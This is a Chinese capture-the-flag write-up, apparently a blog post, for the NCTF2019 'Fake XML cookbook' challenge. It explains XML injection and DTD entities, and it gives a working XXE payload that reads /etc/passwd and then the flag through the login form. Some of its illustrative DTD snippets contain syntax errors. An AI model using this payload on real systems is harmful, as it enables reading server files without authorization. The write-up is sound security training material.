[NCTF2019]Fake XML cookbook XML注入

目录

DTD

实体

外部实体

做题


看到这个界面就像admin 123456弱口令试试看

果然进不去

这里有个tips 但是没有办法点击 我们进源代码看看

复制代码
function doLogin(){
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("Please enter the username and password!");
		return;
	}
	
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

发现源代码中就存在检测账号密码的内容

但是不知道该干嘛

复制代码
dataType: "xml",

这里很奇怪 为啥xml我们直接搜搜看xml存在什么漏洞

XML注入攻击总结_xml攻击_洒脱的智障的博客-CSDN博客

发现存在xml注入漏洞

我们来学习一下

复制代码
<?xml version="1.0" encoding="utf-8" ?>

<USER>

  <user Account="admin">用户输入</user>

<user Account="root">root</user>

</USER>


用户输入是我们可控的 我们那我们如果可以写xml代码

例如

admin</user><user Account="baby">baby</user>


那么就会被闭合实现注入 变为了

<?xml version="1.0" encoding="utf-8" ?>

<USER>

  <user Account="admin">admin</user>
  <user Account="baby">baby</user>
</user>

<user Account="root">root</user>

</USER>

插入了一个 user 名为 baby

这是最简单xml注入

这里是使用外部实体注入

DTD

复制代码
首先我们需要了解什么是DTD
DTD是用来定义 xml的格式

例如 
<?xml version="1.0"?>
<!DOCTYPE message[
<!ELEMENT message(receiver,sender)>
]>

这里就定义了xml 需要以 message为根元素 

并且里面的内容为 receiver 和 sender

就和下面一样

<message>
<receiver>sqlilab</receiver>
<sender>usernamm</sender>
</message>

上面我们介绍完什么是DTD 现在介绍一下 什么是实体

实体

复制代码
这里我们首先给出一个 DTD 

<?xml versiono="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xee "test">
]>


这里通过 DOCTYPE 规定了根元素为 foo

然后通过 ELEMENT 规定了内容为 ANY 就是所有的元素

重点是 !ENTITY 规定了 一个变量名 其中内容为 test

这个变量 我们可以通过 $xee进行引用

所以下面的代码就是

<aabb>
<user>&xee</user>
<passwd>admin</passwd>
</aabb>

因为接受了 ANY 所以不再局限  可以变为其他元素

这里的user值是通过 &xee的 所以其实真正的user值 是test

我们了解了什么是实体 我们现在看看什么是内部实体和外部实体

其实上面的写法 就是内部实体

外部实体

外部实体其实就可以引用外部的URL 或者进行伪协议读取

这里就会造成xml注入

复制代码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT xee SYSTEM "example.com">
]>

或者使用伪协议读文件

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT xee SYSTEM "file:///ect/passwd">
]>

做题

这里我们就大致了解完 xml注入的基础了

我们直接来做这个题目 我们使用 外部实体注入读取文件看看

我们首先进行测试 是否存在 外部实体xml注入

复制代码
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 


这里我们就构造 

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>

读取 /etc/passwd成功

我们看看直接读取 flag

直接成功了

相关推荐
JustNow_Man3 天前
【Claude Code】 中给 Python + XML 项目建立可靠验证体系
xml·linux·python
AI产品实战3 天前
Gradle打包生成dependencies.xml详解
xml·java·gradle
斯特凡今天也很帅5 天前
xml页面可以打开,不报错,但是显示数据的地方也不显示,我是怎么解决的
xml·vue.js
前网易架构师-高司机6 天前
带标注的21种中药材识别数据集,识别率73.8%数据集,2237张图,支持yolo,coco json,voc xml,文末有模型训练代码
xml·yolo·json·数据集·中药·药材·中草药
snow@li6 天前
Java:pom.xml全景深度分析 / 机制、标签、依赖、打包、生产避坑全解 / 工程基石
xml·java·开发语言
田里的水稻6 天前
EP_XML\JSON配置文件和YAML
xml·运维·人工智能·机器人·自动驾驶·json
xiangji7 天前
开源完美模块组件化可扩展的Xml解析器Hand.ParseXml
xml·模块化·组件化·可扩展
我命由我123459 天前
Android 构建项目问题:XML 片段出错,com.ctc.wstx.exc.WstxUnexpectedCharException
android·xml·android studio·android jetpack·android-studio·android runtime
PixelBai10 天前
JSON转XML使用教程:从入门到精通
xml·json
脑子运行超载12 天前
Jackson处理和mybatis的xml转换问题
xml·jackson·mybatis·javatype